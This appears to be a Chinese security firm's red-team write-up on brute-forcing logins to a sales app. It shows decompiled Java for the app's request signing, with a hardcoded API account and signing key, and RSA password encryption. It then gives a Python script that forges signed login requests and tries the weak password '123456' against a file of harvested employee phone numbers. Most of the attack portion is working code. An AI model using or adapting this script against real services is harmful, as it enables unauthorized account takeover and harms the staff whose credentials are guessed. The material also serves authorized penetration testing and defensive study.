某次攻防演练中,在前期信息收集的时候找到了一款客户销售APP,没有注册接口,通过收集目标APP的内部员工手机号,对其进行口令爆破。
安装burp证书,并抓取登录请求
POST /loginUser HTTP/1.1Host: api.xxxx.xxxxx.comapiaccount=vrpuc-aaf91f835147ce2d01216bd3bd5c3516&phone=xxxx&sign=72C132B392873B3F4F6C0872E5EC4B5A&enc=M%2F8hR0rN%2B0KwSGZ59%2FGQqWbrUgTAMZW%2FPnv2tiKlMjGmy%2Fmtu7tXSEftEkTLOoczSXH8%3D×tamp=1658332134014
分析登录请求包中需要五个参数
apiaccount
sign
enc
phone
timestamp
搜索关键词
此关键词为固定值vrpuc-aaf91f835147ce2d01216bd3bd5c3516
手机号
此值为当前的时间戳String.valueOf(System.currentTimeMillis())
改写为python代码
import timetimestamp = str(int(time.time()*1000))
public static O d(String str, String str2) {HashMap hashMap = new HashMap();hashMap.put("phone", str);hashMap.put("enc", e(str2));return c.g.b.f.b.c(f.h(), a(hashMap));}private static Map<String, String> a(Map<String, String> map) {HashMap hashMap = new HashMap();hashMap.put("apiaccount", "vrpuc-aaf91f835147ce2d01216bd3bd5c3516");hashMap.put("timestamp", String.valueOf(System.currentTimeMillis()));TreeMap treeMap = new TreeMap();treeMap.putAll(hashMap);if (map != null) {treeMap.putAll(map);}hashMap.put("sign", a((SortedMap<String, String>) treeMap));if (map != null) {hashMap.putAll(map);}return hashMap;}private static String a(SortedMap<String, String> sortedMap) {StringBuffer stringBuffer = new StringBuffer();for (Map.Entry<String, String> entry : sortedMap.entrySet()) {if (!TextUtils.isEmpty(entry.getValue())) {stringBuffer.append(entry.getKey() + "=" + entry.getValue() + "&");}}stringBuffer.append("key=a0f723c011346j39w049d7bf0356b34b");return D.d(stringBuffer.toString()).toUpperCase();}private static byte[] a(byte[] bArr, String str) {if (bArr != null && bArr.length > 0) {try {MessageDigest messageDigest = MessageDigest.getInstance(str);messageDigest.update(bArr);return messageDigest.digest();} catch (NoSuchAlgorithmException e2) {e2.printStackTrace();}}return null;}private static String q(byte[] bArr) {int length;if (bArr != null && (length = bArr.length) > 0) {char[] cArr = new char[length << 1];int i2 = 0;for (int i3 = 0; i3 < length; i3++) {int i4 = i2 + 1;char[] cArr2 = f10685a;cArr[i2] = cArr2[(bArr[i3] >> 4) & 15];i2 = i4 + 1;cArr[i4] = cArr2[bArr[i3] & 15];}return new String(cArr);}return "";}
sign参数组合
xxxxxxxxxx sign_ori = 'apiaccount=vrpuc-aaf91f835147ce2d01216bd3bd5c3516&enc=' + enc + '&phone=xxxxxx×tamp=' + tmtp + '&key=a0f723c011346j39w049d7bf0356b34b'`str = phone ` `str2 = password`大致流程
输入密码
密码 + 随机10位salt
"password=" + "密码" + "&salt=" + salt
使用此函数操作密钥
private static byte[] b(String str) throws UnsupportedEncodingException {int i2;byte b2;int i3;byte b3;int i4;byte b4;int i5;byte b5;StringBuffer stringBuffer = new StringBuffer();byte[] bytes = str.getBytes("US-ASCII");int length = bytes.length;int i6 = 0;while (i6 < length) {while (true) {i2 = i6 + 1;b2 = f16023b[bytes[i6]];if (i2 >= length || b2 != -1) {break;}i6 = i2;}if (b2 == -1) {break;}while (true) {i3 = i2 + 1;b3 = f16023b[bytes[i2]];if (i3 >= length || b3 != -1) {break;}i2 = i3;}if (b3 == -1) {break;}stringBuffer.append((char) ((b2 << 2) | ((b3 & 48) >>> 4)));while (true) {i4 = i3 + 1;byte b6 = bytes[i3];if (b6 == 61) {return stringBuffer.toString().getBytes("iso8859-1");}b4 = f16023b[b6];if (i4 >= length || b4 != -1) {break;}i3 = i4;}if (b4 == -1) {break;}stringBuffer.append((char) (((b3 & 15) << 4) | ((b4 & 60) >>> 2)));while (true) {i5 = i4 + 1;byte b7 = bytes[i4];if (b7 == 61) {return stringBuffer.toString().getBytes("iso8859-1");}b5 = f16023b[b7];if (i5 >= length || b5 != -1) {break;}i4 = i5;}if (b5 == -1) {break;}stringBuffer.append((char) (b5 | ((b4 & 3) << 6)));i6 = i5;}return stringBuffer.toString().getBytes("iso8859-1");}
RSA加密
Cipher cipher = Cipher.getInstance("RSA");cipher.init(1, publicKey);return cipher.doFinal(bArr);
使用此函数处理加密后的结果
public static String a(byte[] bArr) {StringBuffer stringBuffer = new StringBuffer();int length = bArr.length;int i2 = 0;while (true) {if (i2 >= length) {break;}int i3 = i2 + 1;int i4 = bArr[i2] & 255;if (i3 == length) {stringBuffer.append(f16022a[i4 >>> 2]);stringBuffer.append(f16022a[(i4 & 3) << 4]);stringBuffer.append("==");break;}int i5 = i3 + 1;int i6 = bArr[i3] & 255;if (i5 == length) {stringBuffer.append(f16022a[i4 >>> 2]);stringBuffer.append(f16022a[((i4 & 3) << 4) | ((i6 & PsExtractor.VIDEO_STREAM_MASK) >>> 4)]);stringBuffer.append(f16022a[(i6 & 15) << 2]);stringBuffer.append("=");break;}int i7 = i5 + 1;int i8 = bArr[i5] & 255;stringBuffer.append(f16022a[i4 >>> 2]);stringBuffer.append(f16022a[((i4 & 3) << 4) | ((i6 & PsExtractor.VIDEO_STREAM_MASK) >>> 4)]);stringBuffer.append(f16022a[((i6 & 15) << 2) | ((i8 & 192) >>> 6)]);stringBuffer.append(f16022a[i8 & 63]);i2 = i7;}return stringBuffer.toString();}
def main(phone,password):url = "https://xx.com/loginUser"sign = ""enc = ""tmtp = str(int(time.time() * 1000))salt = "1234567890" # 随机生成的10个数字enc_ori = "password=" + password + "&salt=" + saltenc = gen_enc(enc_ori)sign_ori = 'apiaccount=vrpuc-aaf91f835147ce2d01216bd3bd5c3516&enc=' + enc + '&phone=' + phone+'×tamp=' + tmtp + '&key=a0f723c011346j39w049d7bf0356b34b'sign = gen_sign(sign_ori)print(quote_plus(enc))data = "apiaccount=vrpuc-aaf91f835147ce2d01216bd3bd5c3516&phone="+phone+"&sign=" + sign + "&enc=" + quote_plus(enc) + "×tamp=" + tmtpres = requests.post(url=url, data=data)print(res.text)
def main(phone, password):res = requests.post(url=url, headers=headers, data=data)print(res.text)if __name__ == "__main__":with open("phone","r") as f:for i in f.readlines():main(i.strip(),"123456")
前期目标APP资产
收集用户手机号信息
生成弱口令字典
对目标进行爆破
商务咨询:
0571-87031601
商务邮箱:
联系地址:
浙江省杭州市市民街98号尊宝大厦金尊3301